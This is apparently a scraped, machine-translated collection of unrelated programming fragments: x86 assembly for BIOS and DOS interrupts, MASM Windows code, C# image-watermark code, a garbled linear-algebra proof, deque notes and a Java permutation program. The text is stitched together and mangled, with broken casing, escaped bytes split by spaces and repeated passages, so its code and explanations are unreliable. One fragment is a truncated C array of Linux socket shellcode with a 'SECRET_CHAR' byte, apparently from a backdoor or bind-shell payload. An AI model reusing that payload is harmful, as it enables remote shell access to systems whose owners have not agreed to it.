at t tuscaloosa al

MOVW $0X55AA,%BX int $0x13 2.2. function 0x42 Reads data to memory from a specified sector %DL can be obtained from the functional 0x41, which is the device number, and the disk is 0x80 %ds:%si is the specified memory address 2.3. function 0x8 Getting disk parameters 2.4. function 0x2 Reads the specified sector data to memory %al is the number of sectors %ch is a cylindrical number. %CL is a sector area code, 6th, 7 is the high level of the cylinder

Modifyfile,pmapaddr; Modify memory block contentsInvoke unmapviewoffile,pmapaddr; unlock file mappings. endifInvoke Closehandle,hmap; Close memory-mapped file. endifInvoke CloseHandle, hfile; Close file. endifRetWinMain ENDP; Get the file name to process; Return: If eax=null indicates that no file name is provided for processing; otherwise eax point to the filename addressGetFileName ProcInvoke Getfilenamefromcommandline,addr FileName. If Eax==nullCall Getfilenamefromdialog. endifRetGetFileName

month/day in different foldersPath + = DateTime.Now.ToString ("yyyymm") + "/" + DateTime.Now.ToString ("DD");Break}Return path + "/";}Do you need water marks?private bool Iswatermark (string _fileext){Determine if the watermark is turned onif (Watermarktype > 0){The type of picture that determines whether a watermark can be struckArrayList al = new ArrayList ();Al. ADD ("BMP");

to write it by mathematical induction) and get a column of Orthogonal Arrays $ P_2, \ cdots, p_n $ makes $ P = P_1P_2 \ cdots P_n $ A $ \ Bex P ^ tap = \ sex {\ BA {CCC} \ lm_1 *\\ \ ddots \\ \ lm_n \ EA }. \ EEx $ re-certificate question: by $ P, A $ orthogonal knowledge $ \ DPS {\ sex {\ BA {CCC} \ lm_1 * \\ \ ddots \\\ \ lm_n \ EA }}$ also orthogonal. however, the actual feature value of $ \ lm_ I $ is $ A $ and can only be $ \ pm 1 $. note that each column of the orthogonal array is a uni

1. Simple Man-Machine Interaction Stacka segment DB 100 DUP (?) Stacka ends Data Segment Mess1 dB 'What is your name? ',' $' Mess2 dB 'How old are you? ',' $' Buf1 dB 20 DB? DB 20 DUP (?) Buf2 dB 15 DB? DB 15 DUP (?) Data ends Code segment Assume Cs: code, DS: data, SS: stacka Main proc far Start: PUSH DS MoV ax, 0 PUSH AX MoV ax, Data MoV ds, ax MoV dx, offset mess1 MoV ah, 9 Int 21 h MoV dx, offset buf1 MoV ah, 0ah Int 21 h MoV dx, offset mess2 MoV ah, 9 Int 21 h MoV dx, offset buf2 MoV a

Deque basic operationsI. Prototype And ConstructorTypedef deque ConstructorDeque ();Deque (Al );Deque (N );Deque (n, x );Deque (n, x, Al );Deque (first, last );Deque (first, last, Al );Ii. Operations1. Resize clearUse resize (n) to change the size, and use resize (n, Val) to fill the idle value with T (VAL.2. Clear operationIt is a good habit to call deqobj. Swa

// Playing music in DOS. Others are very excited when they are new to dos. Code segmentAssume Cs: CodeD1 = 131.D2. = 147D3 = 165.D4 = 175D5 = 196D6 = 1, 220D7 = 247Z1 = 262Z 2 = 294Z 3 = 330Z 4 = 349Z 5 = 392Z 6 = 440Z 7 = 494G1. = 523G2 = 587G3 = 659G4 = 714G5 = 784G 6 = 880G7 = 1, 988Oldint8 dd?Oldint9 dd?Time DW 0ASCII dB 10 h, 11 h, 12 h, 13 H, 14 h, 15 h, 16 hDB 1eh, 1fh, 20 h, 21 h, 22 h, 23 h, 24 hDB 2ch, 2dh, 2EH, 2fh, 30 h, 31 H, 32 hMusic DW D1, D2, D3, D4, D5, D6, D7DW Z1, Z2, Z3, Z4,

to say, you want to tell the hard disk controller which sector under which head of the hard disk is to be read, and then issue the READ command. The hard disk controller caches the content of the sector, then, the 16-bit data is put into a register (1f0h) in sequence, and the CPU can read the data through the IO command. Let's look at another sample code: MoV dx, 1f6h; disk number and head number to be readMoV Al, 0a0h; disk 0, head 0Out dx,

18. String processingThe preceding article describes the processing of strings, which are arrays of type Byte, and now implement a piece of code to copy the string string1 data into the string string2The code is as follows" Hello world! " 0 0 . Codemov-mov ebx,0. Repeatmov al, String1[ebx]mov string2[ebx], AlInc Ebx.untilcxzby ecx Decrement, the string string1 each character at once to string2, where the EBX base register is used. can also be pas

.libIncludelib User32.libIncludelib Masm32.lib. DataSzcaption db "GetCommandLine", 0. Data?FileName DB 256 dup (?). CodeGetfilenamefromcommandline proto:lpstr; Used to store the processed file nameStartInvoke Getfilenamefromcommandline,addr FileName. If Eax!=nullInvoke Messagebox,null,eax,addr SZCAPTION,MB_OK. endifInvoke Exitprocess,null; If eax=null indicates that the processed file cannot be extracted from the command line; otherwise eax point to the filename addressgetfilenamefromcommandline

SECRET_CHAR "\ x99" Char shell [] = "\ X31 \ xc0 \ x31 \ xdb \ x31 \ xc9 \ xb0 \ x66" "\ X43 \ x41 \ x51 \ xb1 \ x03 \ x51 \ x49 \ x51" "\ X89 \ xe1 \ xcd \ x80 \ x89 \ xc2 \ xb0 \ x02" "\ Xcd \ x80 \ x31 \ xdb \ x39 \ xc3 \ x75 \ x55" "\ X31 \ xc0 \ x31 \ xdb \ xb0 \ x10 \ x50 \ xb0" "\ Xff \ x54 \ x54 \ x53 \ x50 \ x55 \ x52 \ x89" "\ Xe1 \ xb0 \ x66 \ xb3 \ x0c \ xcd \ x80 \ x89" "\ Xe9 \ x01 \ xc1 \ x31 \ xc0 \ x88 \ x41 \ xfe" "\ Xb0 \ x25 \ x01 \ xc5 \ xb0" SECRET_CHAR "\ X32 \ x45 \ xff

DOS function call Author: Source: Internet AhFunctionCall ParametersResponse parameters00Program termination (same as INT 20 h)Cs = program segment prefix01Keyboard Input and echoAl = input character02Display outputDL = output character03Asynchronous Communication InputAl = input data04Asynchronous Communication outputDL = output data05Printer outputDL = output character06Direct console I/ODL = ff (input)DL = character (output)Al = input character07K

This program aims to display all the sorting results of the array, the algorithm. Import java. util. arraylist;Import java. util. calendar;Import java. util. collections;Import java. util. List; Public class range {Private Static int COUNT = 0; // Number of cyclesPrivate Static int looptime = 0; // The container that saves the resultPrivate Static arraylist ls = new arraylist ();Public static void main (string [] ARGs ){ Long L1 = calendar. getinstance (). gettimeinmillis ();Integer [] result =

As the title says, this is a bug manufacturing expert. The program is not only a simple, ugly program, but also a bug. assume cs:code,ss:stack,ds:datastack segment db 64 dup (0)stack endsdata segment data endscode segment show_arr:cli mov ax,0b800h mov es,ax mov bx,0 mov cx,4000 mov ax,0000001000000000b s: mov es:[bx],ax inc bx inc bx loop s mov b

different foldersPath + = DateTime.Now.ToString ("yyyymm") + "/" + DateTime.Now.ToString ("DD");Break}Return path + "/";}Do you need water marks?private bool Iswatermark (string _fileext){Determine if the watermark is turned onif (Watermarktype > 0){The type of picture that determines whether a watermark can be struckArrayList al = new ArrayList ();Al. ADD ("BMP");Al